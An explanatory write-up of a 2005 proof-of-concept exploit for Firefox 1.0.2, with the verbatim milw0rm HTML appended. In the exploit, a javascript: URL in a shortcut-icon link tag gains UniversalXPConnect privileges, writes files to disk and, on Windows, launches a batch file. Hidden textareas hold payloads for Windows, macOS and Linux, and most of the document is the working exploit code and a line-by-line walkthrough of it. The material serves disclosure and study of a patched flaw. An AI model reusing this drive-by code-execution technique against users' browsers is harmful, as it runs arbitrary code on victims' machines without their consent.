Mozilla Browsers - Firelinking Code Execution Exploit Explained

Mozilla Browsers - Firelinking Code Execution Exploit Explained
What this paper is
This paper, published in 2005, describes a proof-of-concept exploit for Mozilla browsers, specifically targeting Firefox version 1.0.2. It demonstrates how a specially crafted HTML page can leverage a vulnerability in the browser's handling of the <link rel="SHORTCUT ICON"> tag to execute arbitrary JavaScript code. This JavaScript code, in turn, uses browser internal components to create and execute files on the victim's system, effectively achieving code execution. The exploit is presented as "Firelinking" due to its reliance on the <link> tag.
Simple technical breakdown
The core of the exploit lies in the browser's trust in the javascript: URI scheme when used within certain HTML tags, particularly <link rel="SHORTCUT ICON">. Normally, this tag is used to specify a small icon for a website. However, by providing a javascript: URL as the href attribute, the browser executes the JavaScript code embedded within that URL.
The JavaScript code then uses Mozilla's internal UniversalXPConnect privilege to gain access to system-level functionalities. This allows it to:
- Create a local file (
nsILocalFile). - Open an output stream to that file (
nsIFileOutputStream). - Write arbitrary content (in this case, a simple batch script or text) to the file.
- Close the file stream.
- Launch the created file, leading to code execution (on Windows) or file creation (on macOS/Linux).
The exploit is designed to be cross-platform, with different payloads for Windows, macOS, and Linux, reflecting the operating system detected by the browser.
Complete code and payload walkthrough
The provided HTML code contains JavaScript functions and HTML elements designed to trigger the vulnerability.
HTML Structure:
<title>Firelinking - Proof-of-Concept</title>: Sets the title of the HTML page.<link rel="SHORTCUT ICON" href="favicon.ico">: A standard link tag, but itshrefwill be dynamically replaced.<script language="JavaScript" type="text/javascript">: Contains the JavaScript logic.var pf = navigator.platform.toLowerCase();: Detects the user's operating system platform (e.g., "win32", "macintel", "linux x86_64") and converts it to lowercase.if (pf.indexOf("win") != -1) { var os = "win"; } else if (pf.indexOf("mac") != -1) { var os = "mac"; } else { var os = "linux" }: Assigns a simplified OS identifier ("win","mac", or"linux") based on the detected platform.function runDemo() { ... }: This function is the primary driver of the exploit.document.getElementById('outhtml').innerHTML = "";: Clears any previous content from theouthtmldiv.document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value: Appends the content of theclearhtmltextarea toouthtml. This seems to be a workaround for caching or rendering issues, ensuring the initial HTML structure is present.document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value: Appends theclearhtmlcontent again.document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value: Appends theclearhtmlcontent a third time.window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300);: This is the critical part. After a 300ms delay, it appends the content of the dynamically selectedlinkhtml_textarea (e.g.,linkhtml_win,linkhtml_mac,linkhtml_linux) to theouthtmldiv. This action effectively injects the exploit payload into the DOM, which the browser then processes.
<div id="outhtml" style="display:none"></div>: A hidden div where the exploit HTML will be constructed and rendered.<textarea id="clearhtml" style="display:none">...</textarea>: Contains a basic HTML snippet, including a<link>tag, that is repeatedly appended toouthtml. The content is:This is likely a placeholder or part of the mechanism to ensure the<link rel="SHORTCUT ICON" href="favicon.ico"><link>tag is processed.<textarea id="linkhtml_win" style="display:none">...</textarea>: Contains the payload for Windows.<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">href="javascript:delayedOpenWindow(...): Thehrefattribute is ajavascript:URI. ThedelayedOpenWindowfunction is not defined in this snippet but is likely a helper function within the browser's JavaScript environment or a custom function that ensures the JavaScript is executed. The actual exploit code is within the first argument ofdelayedOpenWindow.javascript:netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');: This is the crucial part that grants elevated privileges.UniversalXPConnectallows JavaScript to interact with low-level browser components and the operating system.file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);: Creates an instance ofnsILocalFile, which represents a file on the local filesystem.file.initWithPath('c:\\\\booom.bat');: Sets the path for the file to be created. On Windows, it'sc:\booom.bat. The double backslashes are for escaping within the JavaScript string.file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);: Creates the file with specific permissions (420 is octal forrw-r--r--).outputStream=Components.classes['@mozilla.org/network/file-output-stream;1'].createInstance(Components.interfaces.nsIFileOutputStream);: Creates an instance ofnsIFileOutputStreamto write data to the file.outputStream.init(file,0x04|0x08|0x20,420,0);: Initializes the output stream. The flags0x04|0x08|0x20correspond toFileOutputStream.MODE_WRONLY | FileOutputStream.MODE_CREATE | FileOutputStream.MODE_TRUNCATE, meaning write-only, create if it doesn't exist, and truncate if it does.output='@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END';: Defines the content to be written to the file. This is a simple Windows batch script that turns off command echoing, sets up a loop (:BEGIN), clears the screen (CLS), lists directory contents (DIR), pauses execution (PAUSE), and then jumps to the:ENDlabel (which is effectively the end of the script).outputStream.write(output,output.length);: Writes the batch script content to the file.outputStream.close();: Closes the output stream, ensuring data is flushed and the file is finalized.file.launch();: Executes the createdc:\booom.batfile. This will open a command prompt window and run the DIR command.
<textarea id="linkhtml_mac" style="display:none">...</textarea>: Payload for macOS.<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">- Similar to the Windows payload, but creates
/booom.txtand writes the string "booom!" to it. It does not attempt to launch the file, as.txtfiles are not directly executable in the same way.batfiles are. The author notes this is "roughly tested" and doubts Mac users can write to root by default.
- Similar to the Windows payload, but creates
<textarea id="linkhtml_linux" style="display:none">...</textarea>: Payload for Linux.<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">- Similar to the macOS payload, but creates
~/booom.txt(in the user's home directory) and writes "booom!" to it. Again, no attempt to execute.
- Similar to the macOS payload, but creates
<a href="#" onclick="runDemo();runDemo();">Run example</a>: A link that, when clicked, executes therunDemo()function twice. This is the user interaction required to trigger the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
<!--
Comment placed below to keep the author info together:
/str0ke
__Contact Informations
Michael Krax <mikx@mikx.de>
http://www.mikx.de/?p=15
mikx
-->
<html>
<head>
<title>Firelinking - Proof-of-Concept</title>
<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking - Proof-of-Concept</div>
Designed for Firefox 1.0.2 | bugzilla <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=290036" target="_blank">#290036</a>
<br><br>
<div style="width:600px">
<div id="outhtml" style="display:none"></div>
<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>
<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
</textarea>
<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">
</textarea>
<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">
</textarea>
<strong><u>NOTICE:</u></strong> I really wonder why the Mozilla Foundation decided to release a serious security update on a friday night and to disclose the link to my proof-of-concept code so quickly. It wasn't intendet from my side to release this as a 0day exploit. Please complain to <a href="mailto:security@mozilla.org">security@mozilla.org</a> if you disagree with their release policy. Sorry, no CVE candidate number yet for that reason.
<br><br><br>
The link tag allows to load a custom image as the icon for a website, displayed in the location bar and in the tab title.
<br><br>
By setting the href attribute of this tag to a javascript url, it is possible to call chrome functions and run arbitrary code without user interaction.
<br><br>
The example is cross platform: On Windows this example creates the file c:\booom.bat and launches it (opens a dos box with a dir command). On Linux (tested Fedora Core) and MacOSX the example creates the file ~/booom.txt or /booom.txt.
<br><br>
The non-windows examples are only roughly tested. Please don't complain if not working. I doubt every Mac user can write to root by default. You get full user rights with UniversalXPConnect, so everything else is just a matter of implementation time.
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run example</a> (cross platform)
<br><br><br>
</div>
</body>
</html>
# milw0rm.com [2005-04-18]